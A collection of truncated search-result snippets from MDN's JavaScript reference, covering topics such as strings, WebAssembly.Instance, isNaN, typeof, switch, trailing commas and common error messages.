...he usual case-sensitive way. If you wish to compare without regard to upper or lower case characters, use a function similar to this: function isEqual(str1, str2) { return str1.toUpperCase() === str2.toUpperCase() } // isEqual Upper case is used instead of lower case in this function, due to problems with certain UTF-8 character conversions. ...
... certain UTF-8 character conversions. String primitives and String objects Note that
JavaScript distinguishes between String objects and primitive string values. (The same is true of Boolean and Numbers.) String literals (denoted by double or single quotes) and strings returned from String calls in a non-constructor context (that is, called without using the new keyword) are primitive strings.
JavaScript automatically converts primitives to String objects, so that it's possible to use String object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs,
JavaScript will automatically wrap the string primitive and call the method or perform the property lookup. let s_prim = 'foo' let s_obj = new String(s_prim) console.log(typeo...
WebAssembly.Instance.prototype.exports - JavaScript
We then call an Exported WebAssembly function that is exported by the Instance. ...
...We then call an Exported WebAssembly function that is exported by the Instance. ...
...nce. var importObject = { imports: { imported_func: function(arg) { console.log(arg); } } }; WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) .then(obj => obj.instance.exports.exported_func()); Note: You can also find this example as instantiate-streaming.html on GitHub (view it live also). Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'WebAssembly.Instance: exports' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrom...
WebAssembly.Instance - JavaScript
Read-only. ...
...Read-only. ...
...ction like this: const importObject = { imports: { imported_func: function(arg) { console.log(arg); } } }; WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) .then(obj => obj.instance.exports.exported_func()); This also demonstrates how the exports property is used to access exported functions. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'Instance' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFirefox ...
WebAssembly - JavaScript
Unlike most other global objects, WebAssembly is not a constructor (it is not a function object). You can compare it to Math, which is also a namespace object for mathematical constants and functions, or to Intl which is the namespace object for internationalization constructors and other language-sensitive functions. Description The primary uses for the WebAssembly object are: Loading WebAssembly code, using the WebAssembly.instantiate() function. Creating new memory and table instances via the WebAssembly.Memory()/WebAssembly.Table() constructors. ...
...WebAssembly.Table() constructors. Providing facilities to handle errors that occur in WebAssembly via the WebAssembly.CompileError()/WebAssembly.LinkError()/WebAssembly.RuntimeError() constructors. Constructor properties WebAssembly.CompileError() Indicates an error during WebAssembly decoding or validation. WebAssembly.Global() Represents a global variable instance, accessible from both
JavaScript and importable/exportable across one or more WebAssembly.Module instances. This allows dynamic linking of multiple modules. WebAssembly.Instance() Is a stateful, executable instance of a WebAssembly.Module WebAssembly.LinkError() Indicates an error during module instantiation (besides traps from the start function). WebAssembly.Memory() An object whose buffer property is a resizable ArrayBu...
... into the function when it fulfills. var importObject = { imports: { imported_func: arg => console.log(arg) } }; WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) .then(obj => obj.instance.exports.exported_func()); The ResultObject's instance member is then accessed, and the contained exported function invoked. Specifications Specification WebAssembly
JavaScript InterfaceThe definition of 'WebAssembly' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome for AndroidFiref...
isNaN() - JavaScript
s whether a value is NaN or not. Note, coercion inside the isNaN function has interesting rules; you may alternatively want to use Number.isNaN(), as defined in ECMAScript 2015. Syntax isNaN(value) Parameters value The value to be tested. Return value true if the given value is NaN; otherwise, false. Description The necessity of an isNaN function Unlike all other possible values in
JavaScript, it is not possible to rely on the equality operators (== and ===) to determine whether a value is NaN or not, because both NaN == NaN and NaN === NaN evaluate to false. Hence, the necessity of an isNaN function. Origin of NaN values NaN values are generated when arithmetic operations result in undefined or unrepresentable values. Such values do not necessarily represent overflow conditions. A ...
... // true: "blabla" is converted to a number. // Parsing this as a number fails and returns NaN Useful special-case behavior There is a more usage oriented way to think of isNaN(): If isNaN(x) returns false, you can use x in an arithmetic expression not making the expression return NaN. If it returns true, x will make every arithmetic expression return NaN. This means that in
JavaScript, isNaN(x) == true is equivalent to x - 0 returning NaN (though in
JavaScript x - 0 == NaN always returns false, so you can't test for it). Actually, isNaN(x), isNaN(x - 0), isNaN(Number(x)), Number.isNaN(x - 0), and Number.isNaN(Number(x)) always return the same and in
JavaScript isNaN(x) is just the shortest possible form to express each of these terms. You can use this, for example, to test wh...
...er(x)) always return the same and in
JavaScript isNaN(x) is just the shortest possible form to express each of these terms. You can use this, for example, to test whether an argument to a function is arithmetically processable (usable "like" a number), or if it's not and you have to provide a default value or something else. This way you can have a function that makes use of the full versatility
JavaScript provides by implicitly converting values depending on context. Specifications Specification ECMAScript (ECMA-262)The definition of 'isNaN' in that specification. ...
undefined - JavaScript
The global undefined property represents the primitive value undefined. It is one of
JavaScript's primitive types. Property attributes of undefined Writable no Enumerable no Configurable no The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax undefined Description undefined is a property of the global object. That is, it is a variable in global scope. The initial value of undefined is the primitive value undefined. ...
...example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax undefined Description undefined is a property of the global object. That is, it is a variable in global scope. The initial value of undefined is the primitive value undefined. In modern browsers (
JavaScript 1.8.5 / Firefox 4+), undefined is a non-configurable, non-writable property, per the ECMAScript 5 specification. (Even when this is not the case, avoid overriding it.) A variable that has not been assigned a value is of type undefined. A method or statement also returns undefined if the variable that is being evaluated does not have an assigned value. A function returns undefined if a value was ...
...f (typeof x === 'undefined') { // these statements execute } One reason to use typeof is that it does not throw an error if the variable has not been declared. // x has not been declared before if (typeof x === 'undefined') { // evaluates to true without errors // these statements execute } if (x === undefined) { // throws a ReferenceError } However, there is another alternative.
JavaScript is a statically scoped language, so knowing if a variable is declared can be read by seeing whether it is declared in an enclosing context. The global scope is bound to the global object, so checking the existence of a variable in the global context can be done by checking the existence of a property on the global object, using the in operator, for instance: if ('x' in window) { // these sta...
Property accessors - JavaScript
ake a distinction between properties and methods. However, the property/method distinction is little more than a convention. A method is simply a property that can be called (for example, if it has a reference to a Function instance as its value). There are two ways to access properties: dot notation and bracket notation. Dot notation In the object.property syntax, the property must be a valid
JavaScript identifier. (In the ECMAScript standard, the names of properties are technically "IdentifierNames", not "Identifiers", so reserved words can be used but are not recommended). For example, object.$1 is valid, while object.1 is not. const variable = object.property_name; object.property_name = value; const object = {}; object.$1 = 'foo'; console.log(object.$1); // 'foo' object.1 = 'bar'; ...
...bol. Any other value, including a number, is coerced to a string. This outputs 'value', since 1 is coerced into '1'. let object = {} object['1'] = 'value' console.log(object[1]) This also outputs 'value', since both foo and bar are converted to the same string. ...
... For example, the following syntax is often seen in many scripts. x = eval('document.forms.form_name.elements.' + strFormControl + '.value') eval() is slow and should be avoided whenever possible. ...
typeof - JavaScript
b.com/mdn/interactive-examples and send us a pull request. Syntax The typeof operator is followed by its operand: typeof operand typeof(operand) Parameters operand An expression representing the object or primitive whose type is to be returned. Description The following table summarizes the possible return values of typeof. For more information about types and primitives, see also the
JavaScript data structure page. Type Result Undefined "undefined" Null "object" (see below) Boolean "boolean" Number "number" BigInt (new in ECMAScript 2020) "bigint" String "string" Symbol (new in ECMAScript 2015) "symbol" Function object (implements [[Call]] in ECMA-262 terms) "function" ...
...ar expressions section for historical results // The following are confusing, dangerous, and wasteful. Avoid them. typeof new Boolean(true) === 'object'; typeof new Number(1) === 'object'; typeof new String('abc') === 'object'; // Functions typeof function() {} === 'function'; typeof class C {} === 'function'; typeof Math.sin === 'function'; typeof null // This stands since the beginning of
JavaScript typeof null === 'object'; In the first implementation of
JavaScript,
JavaScript values were represented as a type tag and a value. The type tag for objects was 0. null was represented as the NULL pointer (0x00 in most platforms). Consequently, null had 0 as type tag, hence the "object" typeof return value. (reference) A fix was proposed for ECMAScript (via an opt-in), but was rejected. It would...
...browsers expose a non-standard host object document.all with type undefined. typeof document.all === 'undefined'; Although the specification allows custom type tags for non-standard exotic objects, it requires those type tags to be different from the predefined ones. The case of document.all having type 'undefined' is classified in the web standards as a "willful violation" of the original ECMA
JavaScript standard. Specifications Specification ECMAScript (ECMA-262)The definition of 'The typeof Operator' in that specification. ...
switch - JavaScript
Methods for multi-criteria case Source for this t...
...match: var foo = 5; switch (foo) { case 2: console.log(2); break; // it encounters this break so will not continue into 'default:' default: console.log('default') // fall-through case 1: console.log('1'); } It also works when you put default before all other cases. Methods for multi-criteria case Source for this technique is here: Switch statement multiple cases in
JavaScript (Stack Overflow) Multi-case : single operation This method takes advantage of the fact that if there is no break below a case clause it will continue to execute the next case clause regardless if the case meets the criteria. (See the section What happens if I forgot a break?) This is an example of a single operation sequential case statement, where four different values perform exactly the sam...
...); break; case 'Dinosaur': default: console.log('This animal will not.'); } Multi-case : chained operations This is an example of a multiple-operation sequential case clause, where, depending on the provided integer, you can receive different output. This shows you that it will traverse in the order that you put the case clauses, and it does not have to be numerically sequential. In
JavaScript, you can even mix in definitions of strings into these case statements as well. var foo = 1; var output = 'Output: '; switch (foo) { case 0: output += 'So '; case 1: output += 'What '; output += 'Is '; case 2: output += 'Your '; case 3: output += 'Name'; case 4: output += '?'; console.log(output); break; case 5: output += '!'; console.log(outpu...
Statements and declarations - JavaScript
A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords. Statements and declarations by category For an alphabetical listing see the sidebar on the left. Control flow Block A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets. break Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement. continue Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration. ...
...y brackets. break Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement. continue Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration. Empty An empty statement is used to provide no statement, although the
JavaScript syntax would expect one. if...else Executes a statement if a specified condition is true. If the condition is false, another statement can be executed. switch Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case. throw Throws a user-defined exception. try...catch Marks a block of statements to try, and specifies a res...
... Others debugger Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect. export Used to export functions to make them available for imports in external modules, and other scripts. import Used to import functions exported from an external module, another script. import.meta An object exposing context-specific metadata to a
JavaScript module. label Provides a statement with an identifier that you can refer to using a break or continue statement. with Extends the scope chain for a statement. Specifications Specification ECMAScript (ECMA-262)The definition of 'ECMAScript Language: Statements and Declarations' in that specification. ...
Trailing commas - JavaScript
Trailing commas (sometimes called "final commas") can be useful when adding new elements, parameters, or properties to
JavaScript code. If you want to add a new property, you can simply add a new line without modifying the previously last line if that line already uses a trailing comma. This makes version-control diffs cleaner and editing code might be less troublesome.
JavaScript has allowed trailing commas in array literals since the beginning, and later added them to object literals (ECMAScript 5) and most recently (ECMAScript 2017) to function parameters. JSON, however, disallows trailing commas. ...
...An array with holes is called sparse (a dense array has no holes). ...
...g with trailing comma [a, b,] = [1, 2]; // object destructuring with trailing comma var o = { p: 42, q: true, }; var {p, q,} = o; Again, when using a rest element, a SyntaxError will be thrown: var [a, ...b,] = [1, 2, 3]; // SyntaxError: rest element may not have a trailing comma Trailing commas in JSON Trailing commas in objects were only introduced in ECMAScript 5. As JSON is based on
JavaScript's syntax prior to ES5, trailing commas are not allowed in JSON. Both lines will throw a SyntaxError: JSON.parse('[1, 2, 3, 4, ]'); JSON.parse('{"foo" : 1, }'); // SyntaxError JSON.parse: unexpected character // at line 1 column 14 of the JSON data Omit the trailing commas to parse the JSON correctly: JSON.parse('[1, 2, 3, 4 ]'); JSON.parse('{"foo" : 1 }'); Specifications Specifica...
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
Creating an XSLTProcessor To start, you need to create an XSLTProcessor object: var processor = new XSLTProcessor(); Specifying the stylesheet Before you can use it, you must import a stylesheet with the XSLTProcessor.importStylesheet() method. It has a single parameter, which is the DOM Node of the XSLT stylesheet to import. Note: The import is live, meaning that if you alter the stylesheet DOM after importing it, this will be reflected in the processing. Rather than modifying the DOM it is recommended to use stylesheet parameters which are usually easier and can give better performance. ...
... XHTML should work as expected though. Setting parameters You can control parameters for the stylesheet using the XSLTProcessor.setParameter(), XSLTProcessor.getParameter(), and XSLTProcessor.removeParameter() methods. These all take a namespace URI and a local name as the first two parameters, with XSLTProcessor.setParameter() taking a third - the value of the parameter to be set. See The XSLT/
JavaScript Interface in Gecko for an example. Resetting The XSLTProcessor object also implements a XSLTProcessor.reset() method, which can be used to remove all stylesheets and parameters then put the processor back into its initial state. This method is implemented in Mozilla 1.3 and later. Resources The following reflect the interface of the XSLTProcessor object: nsIXSLTProcessor.idl XSLTProcessor...
...ents Instantiating an XSLTProcessor from an XPCOM component requires a different syntax as the constructor is not defined inside components. ...
Drag and Drop JavaScript Wrapper - Archive of obsolete content
It works by providing an object which implements the event handlers. All you have to do is write some simpler functions which work with the data being dragged. This drag and drop interface is stored in the global package, in the file chrome://global/content/nsDragAndDrop.js. ...
...ferData, action) { var htmlText = "<strong>Cabbage</strong>"; var plainText = "Cabbage"; transferData.data = new TransferData(); transferData.data.addDataForFlavour("text/html",htmlText); transferData.data.addDataForFlavour("text/unicode",plainText); } } Here, an observer has been declared and stored in the variable textObserver. It has one property called onDragStart. (In
JavaScript, properties can be declared with the syntax name : value). This property is a function which sets the data that is being dragged. Once called, it starts a drag for the string data "Cabbage". Of course, you would want to calculate this value from the element that was clicked on. Conveniently, this element is available from the event object's target property. The event object is passed as the first...
International characters in XUL JavaScript - Archive of obsolete content
Gecko 1.8, as used in Firefox 1.5 and other applications, added support for non-ASCII characters in
JavaScript files loaded from XUL files. This means that such script files can use any character from virtually any language of the world. For example, they can contain a line: var text = "Ein schones Beispiel eines mehrsprachigen Textes: ???"; This mixes German and Japanese characters. Earlier versions always interpreted JS files loaded from XUL as ISO-8859-1 (Latin-1), in both local and remote cases. Unicode escapes, as discussed below, have always worked. How the character encoding is determined in Gecko 1.8 and later When the
JavaScript file is loaded from a chrome:// URL, a Byte Order Mark (FIXME: )(BOM) is used to determine the character encoding of the script. Otherwise, the chara...
... encoding will be the same as the one used by the XUL file (which can be specified using an encoding attribute in the <?xml?> tag). By default this will use UTF-8, which can represent virtually all characters in the world. If the script file is loaded via HTTP, the HTTP header can contain a character encoding declaration as part of the Content-Type header, for example: Content-Type: application/
javascript; charset=UTF-8 If no charset parameter is specified, the same rules as above apply. Cross-version compatibility If you want the same code to work in both Gecko 1.8 and earlier versions, you must limit yourself to ASCII. However, you can use unicode escapes - the earlier example rewritten using them would be: var text = "Ein sch\u00F6nes Beispiel eines mehrsprachigen Textes: \u65E5\u672C\u8A9...
New in JavaScript 1.2 - Archive of obsolete content
The following is a changelog for
JavaScript from Netscape Navigator 3.0 to 4.0. The old Netscape documentation can be found on archive.org. Netscape Navigator 4.0 was released on June 11, 1997. Netscape Navigator 4.0 was the third major version of the browser with
JavaScript support.
JavaScript versions Netscape Navigator 4.0 executes
JavaScript language versions up to 1.2. Note that Netscape Navigator 3.0 and earlier ignored scripts with the language attribute set to "
JavaScript1.2" and higher. <SCRIPT LANGUAGE="
JavaScript1.1"> <!--
JavaScript for Navigator 3.0. --> <SCRIPT LANGUAGE="
JavaScript1.2"> <!--
JavaScript for Navigator 4.0. --> New features in
JavaScript 1.2 New objects You can create objects using literal notation (inspired by dictionary literal syntax from Python 1.x). Arrays ...
... Number now converts a specified object to a number. Number now produces NaN rather than an error if x is a string that does not contain a well-formed numeric literal. String now converts a specified object to a string. Array.prototype.sort() now works on all platforms. It no longer converts undefined elements to null and sorts them to the hi...
New in JavaScript 1.6 - Archive of obsolete content
The following is a changelog for
JavaScript 1.6. This version was included in Firefox 1.5 (Gecko 1.8), which was released in November 2005. The corresponding ECMA standard is ECMA-262 Edition 3 and ECMAScript for XML (E4X) with some additional features. Several new features were introduced: E4X, several new Array methods, and Array and String generics. New features in
JavaScript 1.6 Support for ECMAScript for XML (E4X) for creating and processing XML content within
JavaScript has been added. See for details. ...
...cript 1.6 Support for ECMAScript for XML (E4X) for creating and processing XML content within
JavaScript has been added. See for details. Array.prototype.indexOf() Array.prototype.lastIndexof() Array.prototype.every() Array.prototype.filter() Array.prototype.forEach() Array.prototype.map() Array.prototype.some() Array generics String generics for each...in Changed functionality in
JavaScript 1.6 A bug in which arguments[n] cannot be set if n is greater than the number of formal or actual parameters has been fixed. ...
New in JavaScript 1.8.5 - Archive of obsolete content
bug 492840 Object.defineProperty() Adds the named property described by a given descriptor to an object. Object.defineProperties() Adds the named properties described by the given descriptors to an object. ...
...ntax has not been changed. These were all pretty esoteric and rarely used; if this affects you, see this blog post for details. New objects Object Description Old Proxy API Offers support for creating Object and Function proxies that enable meta-programming in
JavaScript. Changed functionality in
JavaScript 1.8.5 ISO 8601 support in Date: The Date object's parse() method now supports simple ISO 8601 format date strings. Global objects made read only: The NaN, Infinity, and undefined global objects have been made read only, per the ECMAScript 5 specification. obj.__parent__ an...
Parsing microformats in JavaScript - Archive of obsolete content
on the returned object are: string = html.toString(); Returns a string using innerText(). string = html.toHTML(); Returns the node's HTML using innerHTML(). string = html.replace(a, b); Returns a string in which all occurrences of a in the HTML are replaced with b. string = html.match(a); Performs the specified matching operation on the HTML and returns the result. iso8601FromDate Converts a
JavaScript date object into an ISO 8601 formatted date. isoDate = Microformats.parser.iso8601FromDate(date, punctuation) Parameters date The
JavaScript Date object to convert. punctuation true if the date should have "-" and "/" in it. Return value A string containing the ISO 8601 formatted date. textGetter() Retrieves all the text from a particular DOM node, including all tags. This calls defa...
...alified URI. ...
Property (JavaScript) - MDN Web Docs Glossary: Definitions of Web-related terms
A
JavaScript property is a characteristic of an object, often describing attributes associated with a data structure. There are two kinds of properties: Instance properties hold data that are specific to a given object instance. Static properties hold data that are shared among all object instances. A property has a name (a string) and a value (primitive, method, or object reference). Note that when we say that "a property holds an object", that is shorthand for "a property holds an object reference". This distinction matters because the original referenced object remains unchanged when you change the property's value. ...
...g) and a value (primitive, method, or object reference). Note that when we say that "a property holds an object", that is shorthand for "a property holds an object reference". This distinction matters because the original referenced object remains unchanged when you change the property's value. Learn more General knowledge Property (programming) on Wikipedia Introduction to object-oriented
JavaScript ...
JavaScript OS.Constants
This module is largely a companion to js-ctypes. Using OS.Constants From the main thread To initialize OS.Constants for use in the main thread, add the following snippet to your code: Components.classes["@mozilla.org/net/osfileconstantsservice;1"]. getService(Components.interfaces.nsIOSFileConstantsService). init(); From a chrome worker No initialization is required. Module OS.Constants is always available for chrome workers. OS.Constants.Sys Constants related to system configuration. Name The name of the operating system (e.g. "Darwin"). DEBUG Set to true on debug build configurations, non-existent otherwise. ...
... OS.Constants.Sys Constants related to system configuration. Name The name of the operating system (e.g. "Darwin"). DEBUG Set to true on debug build configurations, non-existent otherwise. OS.Constants.Path Paths of well-known files and directories. libxul The path to the file containing libxul. Useful, for instance, to access the platform code from
JavaScript in conjunction with js-ctypes. profileDir The path to the current profile. homeDir The path to the user's home directory. winAppDataDir The path to the user's roaming application data directory. winLocalAppDataDir The path to the user's local application data directory. winStartMenuProgsDir The path to the programs subdirectory in the us...
Iterators and generators - JavaScript
<< PreviousNext >> Processing each of the items in a collection is a very common operation.
JavaScript provides a number of ways of iterating over a collection, from simple for loops to map() and filter(). Iterators and Generators bring the concept of iteration directly into the core language and provide a mechanism for customizing the behavior of for...of loops. For details, see also: Iteration_protocols for...of function* and Generator yield and yield* Iterators In
JavaScript an iterator is an object which defines a sequence and potentially a return value upon its termination. Specifically, an iterator is any object which implements the Iterator protocol by having a next() method that returns an object with two properties: value The next value in the iteration sequ...
... alongside done, it is the iterator's return value. Once created, an iterator object can be iterated explicitly by repeatedly calling next(). Iterating over an iterator is said to consume the iterator, because it is generally only possible to do once. After a terminating value has been yielded additional calls to next() should simply continue to return {done: true}. The most common iterator in
JavaScript is the Array iterator, which simply returns each value in the associated array in sequence. While it is easy to imagine that all iterators could be expressed as arrays, this is not true. Arrays must be allocated in their entirety, but iterators are consumed only as necessary. Because of this, iterators can express sequences of unlimited size, such as the range of integers between 0 and Infinity.
Unicode property escapes - JavaScript
ified, the value must correspond to the property type given. Note: As there are many properties and values available, we will not describe them exhaustively here but rather provide various examples Rationale Before ES2018 there was no performance-efficient way to match characters from different sets based on scripts (like Macedonian, Greek, Georgian etc.) or propertyName (like Emoji etc) in
JavaScript. Check out tc39 Proposal on Unicode Property Escapes for more info. Examples General categories General categories are used to classify Unicode characters and subcategories are available to define a more precise categorization. It is possible to use both short or long forms in Unicode property escapes. They can be used to match letters, numbers, symbols, punctuations, spaces, etc. For a more ...
.../ ? is the digit 2 in Arabic-Indic notation // while it is predominantly written within the Arabic script // it can also be written in the Thaana script "?".match(/\p{Script=Thaana}/u); // null as Thaana is not the predominant script super() "?".match(/\p{Script_Extensions=Thaana}/u); // ["?", index: 0, input: "?", groups: undefined] Unicode property escapes vs. character classes With
JavaScript regular expressions, it is also possible to use character classes and especially \w or \d to match letters or digits. However, such forms only match characters from the Latin script (in other words, a to z and A to Z for \w and 0 to 9 for \d). As shown in this example, it might be a bit clumsy to work with non Latin texts. Unicode property escapes categories encompass much more characters and \p...
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
The
JavaScript warning "-file- is being assigned a //# sourceMappingURL, but already has one." occurs when a source map has been specified more than once for a given
JavaScript source. Message Warning: -file- is being assigned a //# sourceMappingURL, but already has one. Error type A warning.
JavaScript execution won't be halted. What went wrong? A source map has been specified more than once for a given
JavaScript source.
JavaScript sources are often combined and minified to make delivering them from the server more efficient. With source maps, the debugger can map the code being executed to the original source files. There are two ways to assign a source map, either by using a comment or by setting a header to the
JavaScript file. Examples Setting source maps Setting a source map by usi...
... maps, the debugger can map the code being executed to the original source files. There are two ways to assign a source map, either by using a comment or by setting a header to the
JavaScript file. ...
SyntaxError: invalid regular expression flag "x" - JavaScript
Message SyntaxError: Syntax error in regular expression (Edge) SyntaxError: invalid regular expression flag "x" (Firefox) SyntaxError: Invalid regular expression flags (Chrome) Error type SyntaxError What went wrong? There are invalid regular expression flags in the code. In a regular expression literal, which consists of a pattern enclosed between slashes, the flags are defined after the second slash. They can also be defined in the constructor function of the RegExp object (second parameter). ...
... /foo/g; /foo/gims; /foo/uy; ...
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
Message TypeError: Calling delete on 'x' is not allowed in strict mode (Edge) TypeError: property "x" is non-configurable and can't be deleted. (Firefox) TypeError: Cannot delete property 'x' of #<Object> (Chrome) Error type TypeError in strict mode only. What went wrong? It was attempted to delete a property, but that property is non-configurable. The configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed. This error happens only in strict mode code. In non-strict code, the operation returns false. ...
...r Object.freeze(). 'use strict'; var obj = Object.freeze({name: 'Elsa', score: 157}); delete obj.score; // TypeError 'use strict'; var obj = {}; Object.defineProperty(obj, 'foo', {value: 2, configurable: false}); delete obj.foo; // TypeError 'use strict'; var frozenArray = Object.freeze([0, 1, 2]); frozenArray.pop(); // TypeError There are also a few non-configurable properties built into
JavaScript. Maybe you tried to delete a mathematical constant. 'use strict'; delete Math.PI; // TypeError ...
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
String generics have been removed starting with Firefox 68. ...
...: String.toUpperCase is deprecated; use String.prototype.toUpperCase instead Warning: String.trim is deprecated; use String.prototype.trim instead Warning: String.trimLeft is deprecated; use String.prototype.trimLeft instead Warning: String.trimRight is deprecated; use String.prototype.trimRight instead Error type Warning.
JavaScript execution won't be halted. What went wrong? The non-standard generic String methods are deprecated and have been removed in Firefox 68 and later. String generics provide String instance methods on the String object allowing String methods to be applied to any object. Examples Deprecated syntax var num = 15; String.replace(num, /5/, '2'); Standard syntax var num = 15; String(num).replace(/5...
ReferenceError: deprecated caller or arguments usage - JavaScript
What went wrong? In strict mode, the Function.caller or Function.arguments properties are used and shouldn't be. ...
... TypeError: 'arguments', 'callee' and 'caller' are restricted function properties and cannot be accessed in this context (Edge) Warning: ReferenceError: deprecated caller usage (Firefox) Warning: ReferenceError: deprecated arguments usage (Firefox) TypeError: 'callee' and 'caller' cannot be accessed in strict mode. (Safari) Error type A strict-mode-only warning that a ReferenceError occurred.
JavaScript execution won't be halted. What went wrong? In strict mode, the Function.caller or Function.arguments properties are used and shouldn't be. They are deprecated, because they leak the function caller, are non-standard, hard to optimize and potentially a performance-harmful feature. Examples Deprecated function.caller or arguments.callee.caller Function.caller and arguments.callee.caller are d...
SyntaxError: test for equality (==) mistyped as assignment (=)? - JavaScript
Examples Assignment within conditional expressions It is advisable to not use simple assignments in a conditional expression (such as if...else), because the assignment can be confused with equality when glancing over the code. ...
... The
JavaScript warning "test for equality (==) mistyped as assignment (=)?" occurs when there was an assignment (=) when you would normally expect a test for equality (==). Message Warning: SyntaxError: test for equality (==) mistyped as assignment (=)? Error type (Firefox only) SyntaxError warning which is reported only if
javascript.options.strict preference is set to true. What went wrong? There was an assignment (=) when you would normally expect a test for equality (==). To help debugging,
JavaScript (with strict warnings enabled) warns about this pattern. Examples Assignment within conditional expressions It is advisable to not use simple assignments in a conditional expression (such as if...else), because the assignment can be confused with equality when glancing over the code. For...
SyntaxError: identifier starts immediately after numeric literal - JavaScript
They can't start with a digit! Only subsequent characters can be digits (0-9). ...
...nly start with a letter, underscore (_), or dollar sign ($). Message SyntaxError: Unexpected identifier after numeric literal (Edge) SyntaxError: identifier starts immediately after numeric literal (Firefox) SyntaxError: Unexpected number (Chrome) Error type SyntaxError What went wrong? The names of variables, called identifiers, conform to certain rules, which your code must adhere to! A
JavaScript identifier must start with a letter, underscore (_), or dollar sign ($). They can't start with a digit! Only subsequent characters can be digits (0-9). Examples Variable names starting with numeric literals Variable names can't start with numbers in
JavaScript. The following fails: var 1life = 'foo'; // SyntaxError: identifier starts immediately after numeric literal var foo = 1life; // Synt...
TypeError: invalid assignment to const "x" - JavaScript
Examples Invalid redeclaration Assigning a value to the same constant name in the same block-scope will throw. const COLUMNS = 80; // ... ...
...ed. Message TypeError: invalid assignment to const "x" (Firefox) TypeError: Assignment to constant variable. (Chrome) TypeError: Assignment to const (Edge) TypeError: Redeclaration of const 'x' (IE) Error type TypeError What went wrong? A constant is a value that cannot be altered by the program during normal execution. It cannot change through re-assignment, and it can't be redeclared. In
JavaScript, constants are declared using the const keyword. Examples Invalid redeclaration Assigning a value to the same constant name in the same block-scope will throw. const COLUMNS = 80; // ... COLUMNS = 120; // TypeError: invalid assignment to const `COLUMNS' Fixing the error There are multiple options to fix this error. Check what was intended to be achieved with the constant in question. Ren...
URIError: malformed URI sequence - JavaScript
Message URIError: The URI to be encoded contains invalid character (Edge) URIError: malformed URI sequence (Firefox) URIError: URI malformed (Chrome) Error type URIError What went wrong? URI encoding or decoding wasn't successful. An argument given to either the decodeURI, encodeURI, encodeURIComponent, or decodeURIComponent function was not valid, so that the function was unable encode or decode properly. Examples Encoding Encoding replaces each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character. ...
... For example: encodeURI('\uD800\uDFFF'); // "%F0%90%8F%BF" Decoding Decoding replaces each escape sequence in the encoded URI component with the character that it represents. If there isn't such a character, an error will be thrown: decodeURIComponent('%E0%A4%A'); // "URIError: malformed URI sequence" With proper input, this should usually look like something like this: decodeURIComponent('
JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B'); // "
JavaScript_?????" ...
SyntaxError: missing ) after condition - JavaScript
The
JavaScript exception "missing ) after condition" occurs when there is an error with how an if condition is written. It must appear in parenthesis after the if keyword. Message SyntaxError: Expected ')' (Edge) SyntaxError: missing ) after condition (Firefox) Error type SyntaxError What went wrong? There is an error with how an if condition is written. In any programming language, code needs to make decisions and carry out actions accordingly depending on different inputs. The if statement executes a statement if a specified condition is truthy. In
JavaScript, this condition must appear in parenthesis after the if keyword, like this: if (condition) { // do something if the condition is true } Examples Missing parenthesis It might just be an oversight, carefully check all you parenthe...
...n your code. if (3 > Math.PI { console.log("wait what?"); } // SyntaxError: missing ) after condition To fix this code, you would need to add a parenthesis that closes the condition. if (3 > Math.PI) { console.log("wait what?"); } Misused is keyword If you are coming from another programming language, it is also easy to add keywords that don't mean the same or have no meaning at all in
JavaScript. if (done is true) { console.log("we are done!"); } // SyntaxError: missing ) after condition Instead you need to use a correct comparison operator. For example: if (done === true) { console.log("we are done!"); } ...
SyntaxError: missing variable name - JavaScript
Or maybe a comma is wrong. Check for typos! Message SyntaxError: missing variable name (Firefox) SyntaxError: Unexpected token = (Chrome) Error type SyntaxError What went wrong? A variable is missing a name. This is likely due to a syntax error in your code. Probably a comma is wrong somewhere or you struggled with coming up with a name. Totally understandable! Naming things is so hard. Check to ensure the previous lines / declaration does not end with a comma instead of a semi-colon. Examples Missing a variable name var = "foo"; It's tough coming up with good variable names. We all have been there. ...
...This won't work: var arr = 1,2,3,4,5; // SyntaxError: missing variable name This would be correct: var arr = [1,2,3,4,5]; ...
TypeError: "x" is not a constructor - JavaScript
